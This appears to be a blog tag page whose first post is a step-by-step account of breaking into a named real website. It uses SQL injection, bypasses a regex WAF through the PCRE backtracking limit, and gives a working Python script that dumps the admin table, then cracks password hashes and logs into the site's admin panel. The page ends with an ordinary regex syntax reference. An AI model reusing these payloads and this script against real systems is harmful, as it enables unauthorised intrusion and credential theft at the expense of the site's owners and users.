标签: regex

  • 1000000正则回溯绕过正则实现SQL注入

    信息收集

    发现GET注入点

    首先在 news_list.php 发现 GET 参数 cid 存在 SQL 注入:

    http://www.cqzszy.com.cn/news_list.php?cid=11 and updatexml(1,concat(0x7e,user(),0x7e),1)

    响应返回:

    XPATH syntax error: '~qzy_cqzszy@localhost~'

    成功获取数据库用户信息。

    image-20260302151226510

    分析

    通过测试推测 正则 过滤规则:

    Payload结果分析
    select 1成功回显select 单独不被过滤
    from 1报错回显from 单独不被过滤
    select 1 from dual空白回显select...from 组合被过滤

    结论:WAF 使用正则 select(.*)from 过滤,单独的 select 或 from 不被拦截,只有组合时才触发过滤。

    GET注入的问题

    尝试正则回溯绕过,构造超长 Payload:

    URL length: 100224
    Response: 414 Request-URI Too Large

    问题:URL 长度超过服务器限制,无法使用 GET 请求。

    寻找POST注入点

    由于 GET 请求长度限制,需要寻找 POST 注入点。在网站功能页面发现:

    POST /order_sell.php HTTP/1.1
    Host: www.cqzszy.com.cn
    Content-Type: application/x-www-form-urlencoded
    
    p1=1&m1=0&t1=0&...&bs=1'&ac=sell

    测试参数 bs 存在注入:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1772425757')' at line 1
    image-20260302151304796

    绕过思路探索

    尝试的绕过方法

    在发现正则回溯之前,尝试了多种绕过方式:

    换行符打断正则

    select%0a1%0afrom dual
    select%0b1%0bfrom dual

    注释打断正则

    select/**/1/**/from/**/dual

    内联注释

    select/*!*/1/*!*/from/*!*/dual
    select/*!50000*/1/*!50000*/from/*!50000*/dual

    大小写混合

    SeLeCt 1 FrOm dual

    双写绕过

    selselectect 1 frfromom dual

    空字节截断

    sel%00ect 1 fr%00om dual

    预处理语句

    set @a=concat('sel','ect 1 fr','om dual');prepare stmt from @a;execute stmt;

    替代语句

    show tables
    handler table_name open

    结果:以上方法全部失败,返回空白回显。

    正则回溯原理

    PHP PCRE 默认回溯限制为 100 万次。当正则 select(.*)from 匹配超长字符串时:

    1. .* 贪婪匹配到字符串末尾
    2. 回溯查找 from
    3. 回溯次数超过限制,preg_match 返回 false
    4. WAF 判断失效,放行请求

    构造Payload

    关键:用注释 /**/ 包裹垃圾字符

    select/*{100万字符}*/column from/*{100万字符}*/table
    • MySQL 忽略注释,正常执行 SQL
    • WAF 正则匹配超时,绕过成功

    注入过程

    Python脚本

    import requests
    import re
    
    url = "http://www.cqzszy.com.cn/order_sell.php"
    junk = "a" * 1000000
    
    
    def inject(payload_str):
    payload = {
    "Submit": "提交交易信息", "ac": "sell",
    "bs": payload_str,
    "c1": "1", "c2": "1", "c3": "1", "c4": "1", "c5": "1", "c6": "1", "c7": "1",
    "lang": "cn", "m1": "0", "m2": "0", "m3": "0", "m4": "0", "m5": "0",
    "p1": "test", "p2": "1", "p3": "1", "p4": "1", "p5": "1",
    "t1": "0", "t2": "0", "t3": "0", "t4": "0", "t5": "0"
    }
    r = requests.post(url, data=payload, timeout=60)
    m = re.search(r"'~(.*?)~'", r.text)
    return m.group(1) if m else None
    
    
    # 获取表名
    print("=== 表名 ===")
    for i in range(20):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/table_name from/*{junk}*/information_schema.tables where table_schema=database() limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 列名
    print("\n=== zszy_admin 列名 ===")
    for i in range(10):
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/column_name from/*{junk}*/information_schema.columns where table_schema=database() and table_name='zszy_admin' limit {i},1),0x7e),1) and '1'='1"
    result = inject(sql)
    if result:
    print(f"[{i}] {result}")
    else:
    break
    
    # 获取 zszy_admin 数据 - 分开获取
    print("\n=== zszy_admin 数据 ===")
    for i in range(3):
    print(f"\n--- 第 {i + 1} 条记录 ---")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aid from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aid: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aname from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"aname: {inject(sql)}")
    
    sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/apassword from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
    print(f"apassword: {inject(sql)}")

    数据注入失败

    分段注入数据

    获取的数据

    数据库表名:

    序号表名
    0zszy_admin
    1zszy_ec_class
    2zszy_ec_goods
    3zszy_human
    4zszy_info
    5zszy_member
    6zszy_order

    管理员表列名:

    序号列名
    0aid
    1aname
    2apassword

    管理员账号密码:

    anameapassword (MD5)

    admin

    3b1c29af405bac431b8f5ae71345fdcasdav

    密码解密与后台发现

    MD5解密

    使用在线工具解密:

    • admin: 3b1c29af405bac431b8f5ae71345fvdadca → 未解出
    • leo: bf7c2c3a34f5da034b14e89486f97fda1v6 → c****e

    目录扫描

    使用 dirsearch 扫描后台:

    dirsearch -u http://www.cqzszy.com.cn -e php

    发现后台登录页面:

    [200] http://www.cqzszy.com.cn/admini/login.php

    成功登录

    访问 /admini/login.php,使用获取的凭证登录:

    • 用户名:leo
    • 密码:———

    登录成功,进入后台管理系统。

    image-20260302151432891

    总结

    攻击链

    GET注入发现 → URL长度限制 → 寻找POST注入点 → 多种绕过尝试失败 → 正则回溯绕过 → 分段获取密码 → 密码解密 → 后台扫描 → 成功登录

    关键技术点

    • GET转POST:GET请求URL长度限制,改用POST注入
    • 多种绕过尝试:换行符、注释、大小写、双写、预处理等均失败
    • 正则回溯绕过:利用 PHP PCRE 回溯限制(100万次),构造超长注释绕过 select(.*)from 正则
    • 注释包裹:垃圾字符必须用 /**/ 包裹,MySQL才能正常执行
    • 分段获取:使用 substr() 分段获取长字段,避免截断

  • regex

    表达式全集

    字符描述
    \将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。例如,“n”匹配字符“n”。“\n”匹配一个换行符。串行“\”匹配“\”而“(”则匹配“(”。
    ^匹配输入字符串的开始位置。如果设置了RegExp对象的Multiline属性,^也匹配“\n”或“\r”之后的位置。
    $匹配输入字符串的结束位置。如果设置了RegExp对象的Multiline属性,$也匹配“\n”或“\r”之前的位置。
    *匹配前面的子表达式零次或多次。例如,zo能匹配“z”以及“zoo”。等价于{0,}。
    +匹配前面的子表达式一次或多次。例如,“zo+”能匹配“zo”以及“zoo”,但不能匹配“z”。+等价于{1,}。
    ?匹配前面的子表达式零次或一次。例如,“do(es)?”可以匹配“does”或“does”中的“do”。?等价于{0,1}。
    {n}n是一个非负整数。匹配确定的n次。例如,“o{2}”不能匹配“Bob”中的“o”,但是能匹配“food”中的两个o。
    {n,}n是一个非负整数。至少匹配n次。例如,“o{2,}”不能匹配“Bob”中的“o”,但能匹配“foooood”中的所有o。“o{1,}”等价于“o+”。“o{0,}”则等价于“o*”。
    {n,m}m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次。例如,“o{1,3}”将匹配“fooooood”中的前三个o。“o{0,1}”等价于“o?”。请注意在逗号和两个数之间不能有空格。
    ?当该字符紧跟在任何一个其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串“oooo”,“o+?”将匹配单个“o”,而“o+”将匹配所有“o”。
    .匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符,请使用像“(.
    (pattern)匹配pattern并获取这一匹配。所获取的匹配可以从产生的Matches集合得到,在VBScript中使用SubMatches集合,在JScript中则使用$0…$9属性。要匹配圆括号字符,请使用“”或“”或“”。
    (?:pattern)匹配pattern但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用或字符“(
    (?=pattern)正向肯定预查,在任何匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,“Windows(?=95|98|NT|2000)”能匹配“Windows2000”中的“Windows”,但不能匹配“Windows3.1”中的“Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
    (?!pattern)正向否定预查,在任何不匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如“Windows(?!95|98|NT|2000)”能匹配“Windows3.1”中的“Windows”,但不能匹配“Windows2000”中的“Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
    (?<=pattern)反向肯定预查,与正向肯定预查类拟,只是方向相反。例如,“(?<=95|98|NT|2000)Windows”能匹配“2000Windows”中的“Windows”,但不能匹配“3.1Windows”中的“Windows”。
    (?<!pattern)反向否定预查,与正向否定预查类拟,只是方向相反。例如“(?<!95|98|NT|2000)Windows”能匹配“3.1Windows”中的“Windows”,但不能匹配“2000Windows”中的“Windows”。
    x|y匹配x或y。例如,“z|food”能匹配“z”或“food”。“(z|f)ood”则匹配“zood”或“food”。
    [xyz]字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”。
    [^xyz]负值字符集合。匹配未包含的任意字符。例如,“abc”可以匹配“plain”中的“p”。
    [a-z]字符范围。匹配指定范围内的任意字符。例如,“[a-z]”可以匹配“a”到“z”范围内的任意小写字母字符。
    [^a-z]负值字符范围。匹配任何不在指定范围内的任意字符。例如,“a-z”可以匹配任何不在“a”到“z”范围内的任意字符。
    \b匹配一个单词边界,也就是指单词和空格间的位置。例如,“er\b”可以匹配“never”中的“er”,但不能匹配“verb”中的“er”。
    \B匹配非单词边界。“er\B”能匹配“verb”中的“er”,但不能匹配“never”中的“er”。
    \cx匹配由x指明的控制字符。例如,\cM匹配一个Control-M或回车符。x的值必须为A-Z或a-z之一。否则,将c视为一个原义的“c”字符。
    \d匹配一个数字字符。等价于[0-9]。
    \D匹配一个非数字字符。等价于0-9
    \f匹配一个换页符。等价于\x0c和\cL。
    \n匹配一个换行符。等价于\x0a和\cJ。
    \r匹配一个回车符。等价于\x0d和\cM。
    \s匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。
    \S匹配任何非空白字符。等价于 \f\n\r\t\v
    \t匹配一个制表符。等价于\x09和\cI。
    \v匹配一个垂直制表符。等价于\x0b和\cK。
    \w匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]”。
    \W匹配任何非单词字符。等价于“A-Za-z0-9_”。
    \xn匹配n,其中n为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,“\x41”匹配“A”。“\x041”则等价于“\x04&1”。正则表达式中可以使用ASCII编码。
    \num匹配num,其中num是一个正整数。对所获取的匹配的引用。例如,“(.)\1”匹配两个连续的相同字符。
    \n标识一个八进制转义值或一个向后引用。如果\n之前至少n个获取的子表达式,则n为向后引用。否则,如果n为八进制数字(0-7),则n为一个八进制转义值。
    \nm标识一个八进制转义值或一个向后引用。如果\nm之前至少有nm个获得子表达式,则nm为向后引用。如果\nm之前至少有n个获取,则n为一个后跟文字m的向后引用。如果前面的条件都不满足,若n和m均为八进制数字(0-7),则\nm将匹配八进制转义值nm。
    \nml如果n为八进制数字(0-3),且m和l均为八进制数字(0-7),则匹配八进制转义值nml。
    \un匹配n,其中n是一个用四个十六进制数字表示的Unicode字符。例如,\u00A9匹配版权符号(©)。

    常用正则表达式

    名称正则表达式
    用户名/^[a-z0-9_-]{3,16}$/
    密码/^[a-z0-9_-]{6,18}$/
    十六进制值/^#?([a-f0-9]{6}|[a-f0-9]{3})$/
    电子邮箱/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/
    电子邮箱(备选)/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/
    URL/^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/
    IP 地址/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)/
    IP 地址(精确)/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/
    HTML 标签/^<([a-z]+)([^<]+)*(?:>(.*)<\/\1>|\s+\/>)$/
    删除代码注释(?<!http:|\S)//.*$
    Unicode编码中的汉字范围/^[\u2E80-\u9FFF]+$/